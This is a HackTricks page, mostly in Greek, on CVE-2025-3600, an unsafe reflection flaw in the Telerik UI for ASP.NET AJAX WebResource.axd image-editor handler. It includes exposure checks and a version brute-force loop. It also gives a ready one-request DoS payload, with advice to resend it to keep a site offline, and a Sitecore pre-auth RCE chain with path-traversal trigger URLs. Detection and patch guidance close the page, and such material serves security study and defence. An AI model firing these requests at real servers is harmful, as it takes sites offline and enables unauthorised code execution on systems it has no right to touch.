Telerik UI for ASP.NET AJAX – Μη ασφαλής Reflection μέσω WebResource.axd (type=iec)
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Η εκτέλεση constructor pre‑auth στον Image Editor cache handler του Telerik UI for ASP.NET AJAX επιτρέπει universal DoS και, σε πολλές εφαρμογές, pre‑auth RCE μέσω target‑specific gadgets (CVE-2025-3600).
TL;DR
- Επηρεαζόμενο component/route: Telerik.Web.UI.WebResource.axd με query type=iec (Image Editor cache handler). Εκτεθειμένο pre‑auth σε πολλά προϊόντα.
- Primitive: Ο επιτιθέμενος ελέγχει ένα όνομα τύπου (prtype). Ο handler το επιλύει με Type.GetType() και καλεί Activator.CreateInstance() πριν επαληθεύσει την type-safety του interface. Οποιοσδήποτε public parameterless .NET τύπος με constructor χωρίς παραμέτρους θα εκτελεστεί.
- Impact:
- Universal pre‑auth DoS με ένα .NET framework gadget (PowerShell WSMan finalizer).
- Συχνά οδηγεί σε pre‑auth RCE σε πραγματικές εγκαταστάσεις καταχρώμενο app‑specific gadgets, ιδιαίτερα μη ασφαλείς AppDomain.AssemblyResolve handlers.
- Fix: Ενημέρωση σε Telerik UI for ASP.NET AJAX 2025.1.416+ ή αφαίρεση/κλείδωμα του handler.
Επηρεαζόμενες εκδόσεις
- Telerik UI for ASP.NET AJAX εκδόσεις 2011.2.712 έως 2025.1.218 (συμπεριλαμβανομένων) είναι ευάλωτες.
- Fixed in 2025.1.416 (released 2025-04-29). Εφαρμόστε το patch άμεσα ή αφαιρέστε/κλειδώστε τον handler.
Επιφάνεια επίθεσης και γρήγορη ανακάλυψη
- Έλεγχος έκθεσης:
- GET /Telerik.Web.UI.WebResource.axd πρέπει να επιστρέφει κάτι διαφορετικό από 404/403 αν ο handler είναι wired.
- Ελέγξτε το web.config για mappings handlers προς Telerik.Web.UI.WebResource.axd.
- Μην βασίζεστε στην εύρεση Telerik συμβολοσειρών στη σελίδα
/ή σε σελίδες login. Πραγματικά προϊόντα όπως το Sitecore συχνά εκθέτουν τον handler χωρίς να τον αναφέρουν στο default HTML.
- Η διαδρομή ενεργοποίησης για το ευάλωτο code-path απαιτεί: type=iec, dkey=1, και prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Σημειώσεις
- Ορισμένα PoCs χρησιμοποιούν dtype; η υλοποίηση ελέγχει dkey==“1” για τη ροή λήψης.
- prtype πρέπει να είναι assembly-qualified ή επιλύσιμο στο τρέχον AppDomain.
Χρήσιμοι έλεγχοι code/ops
<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
Γρήγορη διαλογή εκδόσεων σε παλαιές εγκαταστάσεις
Εάν η ίδια εφαρμογή εκθέτει επίσης τον legacy χειριστή type=rau, παλαιότερα εργαλεία Telerik μπορούν ακόμα να σας βοηθήσουν να fingerprint την κοινή έκδοση του Telerik.Web.UI.dll πριν επιχειρήσετε έρευνα για type=iec. Αυτό δεν εκμεταλλεύεται άμεσα το CVE-2025-3600· απλώς επαναχρησιμοποιεί το γεγονός ότι τα rau και iec βρίσκονται στην ίδια assembly.
Practical use:
- Αν το
type=rauείναι προσβάσιμο, χρησιμοποιήστε το κλασικό major-version brute force από τα παλαιότερα εργαλεία RAU για να ανακτήσετε την ακριβή έκδοση της assemblyTelerik.Web.UI. - Συγκρίνετε την ανακτημένη έκδοση με το εύρος ευπαθών εκδόσεων (
2011.2.712to2025.1.218) και το διορθωμένο build (2025.1.416+). - Θεωρήστε την απουσία του
type=rauως μη τελεσίδικη. Τοiecμπορεί ακόμα να είναι εκτεθειμένο ακόμη και όταν τοrauείναι απενεργοποιημένο ή φιλτραρισμένο.
Example with the legacy CVE-2019-18935.py helper:
for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done
Γιατί αυτό βοηθά:
- Οι εταιρικές εφαρμογές συχνά ενσωματώνουν παλαιές εκδόσεις του Telerik για χρόνια.
- Οι Red teams μπορούν γρήγορα να διακρίνουν το “handler exposed” από το “likely still on a vulnerable DLL”.
- Κατά την αντιμετώπιση περιστατικών, το ίδιο κόλπο βοηθά να οριοθετηθούν μεγάλοι στόλοι IIS όταν η πρόσβαση στο filesystem δεν είναι άμεσα διαθέσιμη.
Ριζική αιτία – μη ασφαλής reflection στο ImageEditorCacheHandler
Η ροή λήψης της cache του Image Editor δημιουργεί ένα instance ενός τύπου που παρέχεται στο prtype και μόνο αργότερα το κάνει cast σε ICacheImageProvider και επικυρώνει το download key. Ο constructor έχει ήδη εκτελεστεί όταν η επικύρωση αποτυγχάνει.
Σχετική ροή από απομεταγλωττισμένο κώδικα
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
Exploit primitive: Ελεγχόμενη συμβολοσειρά τύπου → Type.GetType την επιλύει → Activator.CreateInstance εκτελεί τον δημόσιο κατασκευαστή χωρίς παραμέτρους. Ακόμη κι αν το αίτημα απορριφθεί στη συνέχεια, οι παρενέργειες του gadget έχουν ήδη συμβεί.
## Καθολικό DoS gadget (δεν απαιτούνται app-specific gadgets)
Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper στο System.Management.Automation (PowerShell) έχει έναν finalizer που αποδεσμεύει ένα μη αρχικοποιημένο handle, προκαλώντας μη χειριζόμενη εξαίρεση όταν το GC τον τελικοποιεί. Αυτό προκαλεί αξιόπιστο crash στη διαδικασία worker του IIS λίγο μετά τη δημιουργία του αντικειμένου.
Αίτημα DoS μίας χρήσης:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notes
- Keep sending periodically to keep the site offline. You may observe the constructor being hit in a debugger; crash occurs on finalization.
Από DoS σε RCE – μοτίβα κλιμάκωσης
Η εκτέλεση unsafe constructor ξεκλειδώνει πολλά target‑specific gadgets και chains. Αναζητήστε:
- Parameterless constructors that process attacker input
- Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
- Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body “layout” and deserializes JSON via JSON.NET.
- Constructors that touch files
- Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
- Constructors performing app-specific ops
- Resetting state, toggling modules, or terminating processes.
- Constructors/static ctors that register AppDomain event handlers
- Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attacker‑controlled paths.
- Forcing AssemblyResolve via Type.GetType
- Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finalizers με καταστροφικές παρενέργειες
- Ορισμένοι τύποι διαγράφουν αρχεία με σταθερή διαδρομή μέσα σε finalizers. Συνδυασμένο με link-following ή προβλέψιμες διαδρομές, αυτό μπορεί να επιτρέψει local privilege escalation σε ορισμένα περιβάλλοντα.
Example pre‑auth RCE chain (Sitecore XP)
- Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).
- Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL.
- Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.
Trigger examples
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Επικύρωση, hunting και DFIR σημειώσεις
- Safe lab validation: Fire the DoS payload and watch for app pool recycle/unhandled exception tied to the WSMan finalizer.
- Αναζήτηση στην τηλεμετρία:
- Αιτήσεις προς /Telerik.Web.UI.WebResource.axd με type=iec και ασυνήθιστες τιμές prtype.
- Αποτυχημένες φορτώσεις τύπων και γεγονότα AppDomain.AssemblyResolve.
- Ξαφνικά κρασαρίσματα/επανεκκινήσεις του w3wp.exe μετά από τέτοιες αιτήσεις.
Mitigation
- Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
- Αφαιρέστε ή περιορίστε την έκθεση του Telerik.Web.UI.WebResource.axd όπου είναι δυνατόν (WAF/rewrites).
- Αγνοήστε ή ενισχύστε τον χειρισμό του prtype στο server-side (η αναβάθμιση εφαρμόζει κατάλληλους ελέγχους πριν τη δημιουργία του αντικειμένου).
- Ελέγξτε και ενισχύστε τους προσαρμοσμένους χειριστές AppDomain.AssemblyResolve. Αποφύγετε τη δημιουργία διαδρομών από args.Name χωρίς έλεγχο/καθαρισμό· προτιμήστε strong-named loads ή whitelists.
- Περιορίστε τις τοποθεσίες upload/write και αποτρέψτε την απόθεση DLL σε φακέλους που εξετάζονται.
- Παρακολουθείτε απόπειρες φόρτωσης μη-υπάρχοντος τύπου για να εντοπίσετε κατάχρηση του resolver.
Σημείωμα γρήγορης αναφοράς
- Έλεγχος παρουσίας:
- GET /Telerik.Web.UI.WebResource.axd
- Αναζητήστε αντιστοίχιση handler στο web.config
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Ενεργοποίηση resolver:
This.Class.Does.Not.Exist, watchTowr
Σχετικές τεχνικές
- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
Αναφορές
- Progress Telerik – Unsafe Reflection Vulnerability (3600)
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


